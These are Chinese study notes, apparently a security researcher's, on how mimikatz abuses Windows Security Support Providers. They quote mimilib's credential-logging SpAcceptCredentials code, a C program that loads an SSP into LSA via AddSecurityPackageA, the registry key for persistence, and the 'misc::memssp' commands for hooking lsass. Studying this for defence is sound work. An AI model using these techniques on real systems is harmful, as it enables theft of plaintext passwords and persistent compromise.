学习了以下文章,整理SSP相关笔记:
Exploring Mimikatz - Part 2 - SSP
Mimikatz提供了几种不同的技术来利用SSP。首先是Mimilib,它是一个具有多种功能的DLL,包括实现SSP接口。其次是smemssp,与前者干的是同一件事,但是是用过patch内存来达到目的,而不是加载DLL。SSPI&SSP
- SSPI(Security Support Provider Interface)
- SSP(Security Support Provider)
- NTLM SSP: msv1_0.dll
- Kerberos: kerberos.dll
- Cred SSP
- Digest SSP
- Negotiate SSP
- Schannel SSP
- Negotiate Extensions SSP
- PKU2U SSP
SSP的实现-mimilib
mimikatz中的mimilib可以作为一个SSP来使用,mimilib通过模块定义文件.def声明了一堆导出函数,其中就有SpLsaModeInitialize。SpLsaModeInitialize = kssp_SpLsaModeInitialize
SpLsaModeInitialize是SSP的初始化函数,由LSA加载自己时调用。SpLsaModeInitialize的主要功能是给参数ppTables赋值,用于告诉LSA各个回调函数的地址;ppTables 指向SECPKG_FUNCTION_TABLE结构体,LSA需要SSP实现的函数指针都包含在此结构体内。plain
SpInitialize:用来初始化SSP,提供一个函数指针列表。
SpShutDown:卸载SSP时就会被调用,以便释放资源。
SpGetInfoFn:提供SSP相关信息,包括版本、名称以及描述。
SpAcceptCredentials:接收LSA传递的明文凭据,以便SSP缓存。
可以看到 kssp_SpAcceptCredentials 内部实现就是将获取到的明文凭据写到kiwissp.log中,认证结果直接访问Success。
NTSTATUS NTAPI kssp_SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
FILE *kssp_logfile;
#pragma warning(push)
#pragma warning(disable:4996)
if(kssp_logfile = _wfopen(L"kiwissp.log", L"a"))
#pragma warning(pop)
{
klog(kssp_logfile, L"[%08x:%08x] [%08x] %wZ\\%wZ (%wZ)\t", PrimaryCredentials->LogonId.HighPart, PrimaryCredentials->LogonId.LowPart, LogonType, &PrimaryCredentials->DomainName, &PrimaryCredentials->DownlevelName, AccountName);
klog_password(kssp_logfile, &PrimaryCredentials->Password);
klog(kssp_logfile, L"\n");
fclose(kssp_logfile);
}
return STATUS_SUCCESS;
}
操作SSP
遍历
EnumerateSecurityPackagesA
#define SECURITY_WIN32
#include <stdio.h>
#include <Windows.h>
#include <Security.h>
#pragma comment(lib,"Secur32.lib")
int main(int argc, char **argv) {
ULONG packageCount = 0;
PSecPkgInfoA packages;
if (EnumerateSecurityPackagesA(&packageCount, &packages) == SEC_E_OK) {
for (int i = 0; i < packageCount; i++) {
printf("Name: %s\nComment: %s\n\n", packages[i].Name, packages[i].Comment);
}
}
}
注册
方法1: 添加注册表后重启生效 在HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages中加入mimilib.dll的路径 不需要将mimilib.dll拷贝到system32目录下,路径中不包含空格就可以 方法2: 调用AddSecurityPackage 这种方法立即能生效,但为了驻留还是需要添加上述注册表,以防重启后失效。Empire中的Install-SSP.ps1就实现了这一过程。注: DeleteSecurityPackageA删除SSP不起作用,可用3gStudent的FreeDll卸载mimilib.dll 方法3: RPC通知lsass加载SSP 没太看懂,POC没编译成功,大概原理是AddSecurityPackage的内部实现也是通过RPC调用,所以XPN使用了这个方法
#define SECURITY_WIN32
#include <stdio.h>
#include <Windows.h>
#include <Security.h>
#pragma comment(lib,"Secur32.lib")
int main(int argc, char **argv) {
SECURITY_PACKAGE_OPTIONS option;
option.Size = sizeof(option);
option.Flags = 0;
option.Type = SECPKG_OPTIONS_TYPE_LSA;
option.SignatureSize = 0;
option.Signature = NULL;
SECURITY_STATUS SEC_ENTRYnRet = AddSecurityPackageA(argv[1], &option);
printf("AddSecurityPackage return with 0x%X\n", SEC_ENTRYnRet);
}
misc::memssp
这种方法也可以dump 明文凭据,原理是hook msv1_0.dll的SpAcceptCredentials函数,将凭据写入mimilsa.log中。 这种方式下,hook代码通过WriteProcessMemory被拷贝到lsass中,对lsass进程做写操作容易被检测到;而之前sekurlsa::wdigest的方法,应该只要对lsass有ReadProcessMemory权限即可。
privilege::debug
misc::memssp